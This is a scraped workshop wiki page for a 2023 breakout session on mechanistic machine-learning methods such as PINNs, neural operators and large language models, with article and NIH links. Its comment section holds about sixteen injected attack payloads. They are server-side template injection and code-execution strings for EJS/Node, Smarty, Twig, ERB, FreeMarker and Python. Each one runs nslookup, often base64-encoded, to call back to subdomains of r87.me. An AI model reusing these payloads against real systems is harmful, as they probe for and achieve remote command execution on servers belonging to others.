Back to 2023 Agenda

Back to main Breakout Session page

2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models

MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya

What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
What are the opportunities to improve these methods?
How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)?
How can these methods be applied to neuroscience?
How can these methods be used in the IMAG initiatives discussed in Session 2.1?
How can we use biomechanistic and bioinformatics models synenergistically?
Graph neural networks and causal inference.
Uncertainty quantification in neural networks.

Resources:

Articles of Interest:

Stop explaining black box machine learning models for high stakes decisions and use interpretable models instead

[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)

4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science

10 Exciting Project Ideas Using Large Language Models (LLMs) for Your Portfolio | by Leonie Monigatti | May, 2023 | Towards Data Science

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

A Deep convolutional neural network for classification of red blood cells in sickle cell anemia

NIH Announcements:

NIMH » Explainable Artificial Intelligence for Decoding and Modulating Behaviorally-Activated Brain Circuits (nih.gov)

NOT-MH-23-110: Notice of Special Interest (NOSI): Explainable Artificial Intelligence for Decoding and Modulating Neural Circuit Activity Linked to Behavior (nih.gov)

May 31, 2023: NIH Pragmatic Trials Collaboratory Announces Virtual Workshop on Getting the Right Evidence to Decision-Makers Faster - Rethinking Clinical Trials

IMAG wiki: Models, Tools and Databases

MSM Theoretical and Computational Methods WG

2019 IMAG ML-MSM Meeting

Publication from 2019 ML-MSM meeting

Comment

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eHpoZHY2em9fcG91ejRrZDRqYm5lc19jZ2RvcG9wMmJubS5yODcubWU=','base64').toString())

Comment

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eHZhNnJibG5jdm9yaHZ5aTRqZDExd2dnamtwcGJxY2Zpdy5yODcubWU=','base64').toString()) %>

Comment

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eHhqZ3Bxb3VnaGtwcjVmM2lvc2ZsY290aW42YXEta21xby5yODcubWU=','base64').toString()) %>

Comment

{php}Smarty_Resource::parseResourceName(system("nslookup h_cszcnetxbgl4rz81eq2efnblt_83yklb3cquf0"."zea.r87.me"),'b');{/php}

Comment

{php}Smarty_Resource::parseResourceName(system("nslookup h_cszcnetxkn8_l2-titpdor7toblsc0jgpo2j07"."upm.r87.me"),'b');{/php}

Comment

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup h_cszcnetxyjchqf_ig6twzibdcrvbnsstlto0lw"~"qcw.r87.me")}}

Comment

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup h_cszcnetxxwoi3uq7btsg10a1hdkb9g5us03w9t"~"vak.r87.me")}}

Comment

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgaF9jc3pjbmV0eHl5emFfbnktcHh6NW9ueXNmazk0dndla3Nwemx4MF9oNC5yODcubWU=')})).to_s}" %>

Comment

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgaF9jc3pjbmV0eHh0aWMxeGtlNm9temw5enRoaXJnYmEza200YWtnemdtYy5yODcubWU=')})).to_s}" %>

Comment

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgaF9jc3pjbmV0eHd3X2hiN29qZWlhNG91MG03Y24xeGR2a3BiY3lrdmN1cy5yODcubWU=|{base64,--decode})}") }

Comment

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup h_cszcnetxhn5vht3rx91xt4z7cfqvp4hntx_yoc"+"vpm.r87.me") }

Comment

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup h_cszcnetx3ma6l8s3xaxbwneocy8sefiogpjs0d"+"st0.r87.me") }

Comment

require 'resolv';Resolv.getaddress ("h_cszcnetx2y3afxqezqcrrolsws4az0ies1ox5d".concat "lfu.r87.me")

Comment

require 'resolv';Resolv.getaddress ("h_cszcnetxr81tdhdjsp6rw7vkm9w9cdemj9_q1z".concat "nl4.r87.me")

Comment

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgaF9jc3pjbmV0eHR5Nms3amRndms1N3U4ODBsaG1ycHRibHpvY256a25weS5yODcubWU=')).read()

Comment

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgaF9jc3pjbmV0eGc0anZyZXk2bC11Z2ZmeGVnZmdhaGltZ19naDluY3huby5yODcubWU=')).read()

Breakout 2 - New Mechanistic-ML Methods

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

NIH Announcements:

Comment